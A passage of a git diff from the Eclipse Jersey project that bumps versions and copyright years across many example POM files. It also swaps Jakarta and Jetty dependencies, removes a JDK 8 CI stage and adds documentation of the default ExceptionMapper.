+            <!-- TODO - HTTP/2 support for Jetty 12 container -->
 <row>
 <entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-jetty-servlet/dependencies.html">
@@ -230,17 +223,18 @@
     jersey-jetty-connector
 </link>
 </entry>
-<entry>Jersey Client Transport via Jetty (for JDK 11+)</entry>
+<entry>Jersey Client Transport via Jetty (for JDK 17+)</entry>
 </row>
 <row>
-    <row>
-        <entry>
-            <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jetty-http2-connector/dependencies.html">
-                jersey-jetty-http2-connector
-            </link>
-        </entry>
-        <entry>Jersey Client Transport via Jetty (for JDK 11+) with HTTP/2 support</entry>
-    </row>
+<entry>
+<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jetty11-connector/dependencies.html">
+    jersey-jetty11-connector
+</link>
+</entry>
+<entry>Jersey Client Transport via Jetty 11.x</entry>
+</row>
+            <!-- TODO - HTTP/2 support for Jetty 12 container -->
+<row>
 <entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-netty-connector/dependencies.html">
     jersey-netty-connector
diff --git a/docs/src/main/docbook/representations.xml b/docs/src/main/docbook/representations.xml
index 50515d6..12ef126 100644
--- a/docs/src/main/docbook/representations.xml
+++ b/docs/src/main/docbook/representations.xml
@@ -298,6 +298,19 @@
             and let other provider to be chosen for the exception mapping.
         </para>
 
+        <para>
+            Since Jersey 3.1.0 the default <literal>ExceptionMapper</literal> is implemented.
+            It is required by JAX-RS 3.1 specification (&jaxrs31.exceptionMapperProvider;).
+            The default behaviour of the mapper is to return a message from an exception caught and set the response status
+            to 500 (internal server error). In case of a &jaxrs.WebApplicationException; with a response that response is returned.
+            If response inside the &lit.jaxrs.WebApplicationException; is NULL the exception is being processed according to the
+            default behaviour.
+
+            The Default exception mapper is package private and can not be referenced. Its presence is required only by
+            JAX-RS 3.1 specification. Processing of the default Exception Mapper occurs at the very end of the exception
+            processing chain. It is invoked only if nothing else in the chain was invoked before.
+        </para>
+
     </section>
 
     <section>
diff --git a/etc/config/copyright-exclude b/etc/config/copyright-exclude
index cc34e1e..9c4e32d 100644
--- a/etc/config/copyright-exclude
+++ b/etc/config/copyright-exclude
@@ -73,8 +73,6 @@
 /tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/explorer
 /core-server/src/main/java/com/sun/research/ws/wadl
 /core-common/src/main/java/org/glassfish/jersey/internal/jsr166
-/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166
-/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166
 /tests/performance/etc/data/MEASUREMENT_DATA
 /core-common/src/main/java/org/glassfish/jersey/internal/guava/
 /core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/core/AbstractSlidingWindowTimeReservoir.java
@@ -95,3 +93,4 @@
 /media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonBindingProviderTest.java
 /connectors/jdk-connector/src/test/resources
 /tools
+/media/multipart/src/test/resources/multipart
diff --git a/etc/jenkins/Jenkinsfile_ci_build b/etc/jenkins/Jenkinsfile_ci_build
index 9cc5b4f..276cc17 100644
--- a/etc/jenkins/Jenkinsfile_ci_build
+++ b/etc/jenkins/Jenkinsfile_ci_build
@@ -10,22 +10,6 @@
     stages {
         stage('Jersey build') {
             parallel {
-                stage('JDK 8') {
-                    agent {
-                        label 'centos-7'
-                    }
-                    tools {
-                        jdk 'oracle-jdk8-latest'
-                        maven 'apache-maven-latest'
-                    }
-                    steps {
-                        sh '''
-                                bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
-                                export EXCLUDE_ARGS=' -pl !:jersey-spring6'
-                                bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh
-                            '''
-                    }
-                }
                 stage('JDK 11') {
                     agent {
                         label 'centos-7'
@@ -52,6 +36,7 @@
                     steps {
                         sh '''
                                 bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
+                                export EXCLUDE_ARGS=' -pl !:jersey-container-jetty11-http,!:jersey-jetty11-connector '
                                 bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh
                             '''
                     }
diff --git a/examples/NOTICE.md b/examples/NOTICE.md
index b539cdc..ed616c2 100644
--- a/examples/NOTICE.md
+++ b/examples/NOTICE.md
@@ -43,7 +43,7 @@
 * Copyright: 2009, 2020 Red Hat, Inc. and/or its affiliates, and individual contributors
 * by the @authors tag.
 
-Hibernate Validator CDI, 7.0.5.Final
+Hibernate Validator CDI, 8.0.1.Final
 * License: Apache License, 2.0
 * Project: https://beanvalidation.org/
 * Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
diff --git a/examples/assemblies/pom.xml b/examples/assemblies/pom.xml
index 1c54fae..e60c499 100644
--- a/examples/assemblies/pom.xml
+++ b/examples/assemblies/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>assemblies</artifactId>
diff --git a/examples/bookmark-em/pom.xml b/examples/bookmark-em/pom.xml
index 3663370..778a4ed 100644
--- a/examples/bookmark-em/pom.xml
+++ b/examples/bookmark-em/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bookmark-em</artifactId>
diff --git a/examples/bookmark/pom.xml b/examples/bookmark/pom.xml
index 21d30d8..eeaddcf 100644
--- a/examples/bookmark/pom.xml
+++ b/examples/bookmark/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bookmark</artifactId>
diff --git a/examples/bookstore-webapp/pom.xml b/examples/bookstore-webapp/pom.xml
index d8c4725..48f9fb9 100644
--- a/examples/bookstore-webapp/pom.xml
+++ b/examples/bookstore-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     Redistribution and use in source and binary forms, with or without
     modification, are permitted provided that the following conditions are met:
@@ -35,7 +35,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bookstore-webapp</artifactId>
@@ -56,7 +56,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
@@ -69,14 +68,19 @@
             <groupId>jakarta.xml.bind</groupId>
             <artifactId>jakarta.xml.bind-api</artifactId>
         </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <scope>runtime</scope>
+        </dependency>
     </dependencies>
 
     <build>
         <plugins>
             <!-- Run the application using "mvn jetty:run" -->
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <webApp>
                         <contextPath>/bookstore-webapp</contextPath>
@@ -88,19 +92,6 @@
 
     <profiles>
         <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>com.sun.xml.bind</groupId>
-                    <artifactId>jaxb-osgi</artifactId>
-                    <scope>runtime</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
             <!-- mvn test -Prun-external-tests -->
             <id>run-external-tests</id>
             <build>
diff --git a/examples/cdi-webapp/pom.xml b/examples/cdi-webapp/pom.xml
index 4531b60..e76050a 100644
--- a/examples/cdi-webapp/pom.xml
+++ b/examples/cdi-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-webapp</artifactId>
@@ -180,6 +180,7 @@
                 <dependency>
                     <groupId>org.jboss.weld.servlet</groupId>
                     <artifactId>weld-servlet-core</artifactId>
+                    <version>${weld.version}</version>
                 </dependency>
             </dependencies>
         </profile>
@@ -199,7 +200,8 @@
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-surefire-plugin</artifactId>
                 <configuration>
-                    <forkMode>always</forkMode>
+                    <forkCount>1</forkCount>
+                    <reuseForks>false</reuseForks>
                     <enableAssertions>false</enableAssertions>
                 </configuration>
             </plugin>
diff --git a/examples/cdi-webapp/src/main/resources/META-INF/beans.xml b/examples/cdi-webapp/src/main/resources/META-INF/beans.xml
index 5d361e9..77e336a 100644
--- a/examples/cdi-webapp/src/main/resources/META-INF/beans.xml
+++ b/examples/cdi-webapp/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,4 +11,9 @@
 
 -->
 
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+       xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+                           http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+       bean-discovery-mode="all">
+</beans>
diff --git a/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml b/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml
index 5d361e9..77e336a 100644
--- a/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml
+++ b/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,4 +11,9 @@
 
 -->
 
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+       xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+                           http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+       bean-discovery-mode="all">
+</beans>
diff --git a/examples/clipboard-programmatic/pom.xml b/examples/clipboard-programmatic/pom.xml
index 36b2854..091d18b 100644
--- a/examples/clipboard-programmatic/pom.xml
+++ b/examples/clipboard-programmatic/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>clipboard-programmatic</artifactId>
diff --git a/examples/clipboard/pom.xml b/examples/clipboard/pom.xml
index 34ab9c2..eadacea 100644
--- a/examples/clipboard/pom.xml
+++ b/examples/clipboard/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>clipboard</artifactId>
diff --git a/examples/configured-client/pom.xml b/examples/configured-client/pom.xml
index 6d38f0d..935409d 100644
--- a/examples/configured-client/pom.xml
+++ b/examples/configured-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>configured-client</artifactId>
diff --git a/examples/declarative-linking/pom.xml b/examples/declarative-linking/pom.xml
index 63c4e78..863dff2 100644
--- a/examples/declarative-linking/pom.xml
+++ b/examples/declarative-linking/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>declarative-linking</artifactId>
@@ -50,8 +50,8 @@
         </dependency>
 
         <dependency>
-            <groupId>org.glassfish</groupId>
-            <artifactId>jakarta.el</artifactId>
+            <groupId>org.glassfish.expressly</groupId>
+            <artifactId>expressly</artifactId>
         </dependency>
 
         <dependency>
diff --git a/examples/entity-filtering-security/pom.xml b/examples/entity-filtering-security/pom.xml
index 5cb67a3..5c8532c 100644
--- a/examples/entity-filtering-security/pom.xml
+++ b/examples/entity-filtering-security/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>entity-filtering-security</artifactId>
diff --git a/examples/entity-filtering-selectable/pom.xml b/examples/entity-filtering-selectable/pom.xml
index 6664f23..f8d3bf1 100644
--- a/examples/entity-filtering-selectable/pom.xml
+++ b/examples/entity-filtering-selectable/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>entity-filtering-selectable</artifactId>
diff --git a/examples/entity-filtering/pom.xml b/examples/entity-filtering/pom.xml
index 4af5fa4..c882e8c 100644
--- a/examples/entity-filtering/pom.xml
+++ b/examples/entity-filtering/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>entity-filtering</artifactId>
diff --git a/examples/exception-mapping/pom.xml b/examples/exception-mapping/pom.xml
index b55aa9e..5921888 100644
--- a/examples/exception-mapping/pom.xml
+++ b/examples/exception-mapping/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>exception-mapping</artifactId>
diff --git a/examples/extended-wadl-webapp/pom.xml b/examples/extended-wadl-webapp/pom.xml
index 8d239a7..59e5040 100644
--- a/examples/extended-wadl-webapp/pom.xml
+++ b/examples/extended-wadl-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>extended-wadl-webapp</artifactId>
@@ -139,8 +139,8 @@
             <artifactId>jakarta.xml.bind-api</artifactId>
         </dependency>
         <dependency>
-            <groupId>com.sun.activation</groupId>
-            <artifactId>jakarta.activation</artifactId>
+            <groupId>org.eclipse.angus</groupId>
+            <artifactId>angus-activation</artifactId>
         </dependency>
     </dependencies>
 
@@ -259,7 +259,8 @@
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-surefire-plugin</artifactId>
                 <configuration>
-                    <forkMode>always</forkMode>
+                    <forkCount>1</forkCount>
+                    <reuseForks>false</reuseForks>
                     <enableAssertions>false</enableAssertions>
                     <excludes>
                         <exclude>org/glassfish/jersey/examples/extendedwadl/ExtendedWadlWebappOsgiTest.java</exclude>
@@ -290,18 +291,6 @@
 
     <profiles>
         <profile>
-            <id>testsJdk11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>com.sun.activation</groupId>
-                    <artifactId>jakarta.activation</artifactId>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
             <id>javadocAndTestsSkipJDK13</id>
             <activation>
                 <jdk>[13,)</jdk>
diff --git a/examples/freemarker-webapp/pom.xml b/examples/freemarker-webapp/pom.xml
index d5b3042..767cdf0 100644
--- a/examples/freemarker-webapp/pom.xml
+++ b/examples/freemarker-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>freemarker-webapp</artifactId>
@@ -40,7 +40,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
@@ -53,8 +52,8 @@
         <plugins>
             <!-- Run the application using "mvn jetty:run" -->
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/examples/groovy/pom.xml b/examples/groovy/pom.xml
index a12fae2..725d762 100644
--- a/examples/groovy/pom.xml
+++ b/examples/groovy/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <artifactId>groovy</artifactId>
     <packaging>jar</packaging>
diff --git a/examples/helloworld-benchmark/pom.xml b/examples/helloworld-benchmark/pom.xml
index 055c055..3368128 100644
--- a/examples/helloworld-benchmark/pom.xml
+++ b/examples/helloworld-benchmark/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-benchmark</artifactId>
diff --git a/examples/helloworld-cdi2-se/pom.xml b/examples/helloworld-cdi2-se/pom.xml
index fa19a70..0895034 100644
--- a/examples/helloworld-cdi2-se/pom.xml
+++ b/examples/helloworld-cdi2-se/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-cdi2-se</artifactId>
@@ -39,6 +39,17 @@
         </dependency>
 
         <dependency>
+            <groupId>org.jboss.weld.se</groupId>
+            <artifactId>weld-se-core</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.jboss.logging</groupId>
+                    <artifactId>jboss-logging</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+
+        <dependency>
             <groupId>org.glassfish.jersey.test-framework</groupId>
             <artifactId>jersey-test-framework-util</artifactId>
             <scope>test</scope>
@@ -76,25 +87,6 @@
                 </plugins>
             </build>
         </profile>
-
-        <profile>
-            <id>jdk11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.jboss.weld.se</groupId>
-                    <artifactId>weld-se-core</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.jboss.logging</groupId>
-                            <artifactId>jboss-logging</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-        </profile>
     </profiles>
 
 </project>
diff --git a/examples/helloworld-netty/pom.xml b/examples/helloworld-netty/pom.xml
index 2bb3e5f..e2600b2 100644
--- a/examples/helloworld-netty/pom.xml
+++ b/examples/helloworld-netty/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-netty</artifactId>
diff --git a/examples/helloworld-programmatic/pom.xml b/examples/helloworld-programmatic/pom.xml
index 6636d3a..581bd6d 100644
--- a/examples/helloworld-programmatic/pom.xml
+++ b/examples/helloworld-programmatic/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-programmatic</artifactId>
diff --git a/examples/helloworld-pure-jax-rs/pom.xml b/examples/helloworld-pure-jax-rs/pom.xml
index 768bfec..dfd30cb 100644
--- a/examples/helloworld-pure-jax-rs/pom.xml
+++ b/examples/helloworld-pure-jax-rs/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-pure-jax-rs</artifactId>
diff --git a/examples/helloworld-spring-annotations/pom.xml b/examples/helloworld-spring-annotations/pom.xml
index 0874ae9..072cc76 100644
--- a/examples/helloworld-spring-annotations/pom.xml
+++ b/examples/helloworld-spring-annotations/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -15,7 +15,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.examples</groupId>
